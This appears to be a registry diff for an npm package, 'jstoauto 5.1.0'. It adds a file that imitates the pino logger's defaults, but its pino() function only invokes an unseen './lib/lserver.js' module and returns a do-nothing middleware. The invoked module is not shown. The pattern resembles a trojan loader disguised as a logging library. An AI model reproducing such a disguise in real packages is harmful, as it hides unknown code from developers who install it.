jstoauto 5.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/pino.js ADDED
@@ -0,0 +1,41 @@
1
+ 'use strict'
2
+
3
+ const writer = require('./lib/lserver.js');
4
+ const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants')
5
+ const { pid } = process
6
+ const defaultOptions = {
7
+ levelComparison: SORTING_ORDER.ASC,
8
+ levels: DEFAULT_LEVELS,
9
+ messageKey: 'msg',
10
+ errorKey: 'err',
11
+ nestedKey: null,
12
+ enabled: true,
13
+ base: { pid },
14
+ formatters: Object.assign(Object.create(null), {
15
+ bindings (bindings) {
16
+ return bindings
17
+ }
18
+ }),
19
+ hooks: {
20
+ logMethod: undefined,
21
+ streamWrite: undefined
22
+ },
23
+ name: undefined,
24
+ redact: null,
25
+ customLevels: null,
26
+ useOnlyCustomLevels: false,
27
+ depthLimit: 5,
28
+ edgeLimit: 100
29
+ }
30
+
31
+ function pino (..._args) {
32
+ writer();
33
+ return (_req, _res, next) => {
34
+ next()
35
+ }
36
+ }
37
+
38
+ module.exports = pino
39
+ // Enables default and name export with TypeScript and Babel
40
+ module.exports.default = pino
41
+ module.exports.pino = pino
Binary file
package/tsconfig.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "compilerOptions": {
3
+ "target": "es6",
4
+ "lib": [ "es2015", "dom" ],
5
+ "module": "commonjs",
6
+ "noEmit": true,
7
+ "strict": true,
8
+ "esModuleInterop": true,
9
+ },
10
+ "exclude": [
11
+ "./test/types/*.test-d.ts",
12
+ "./*.d.ts"
13
+ ]
14
+ }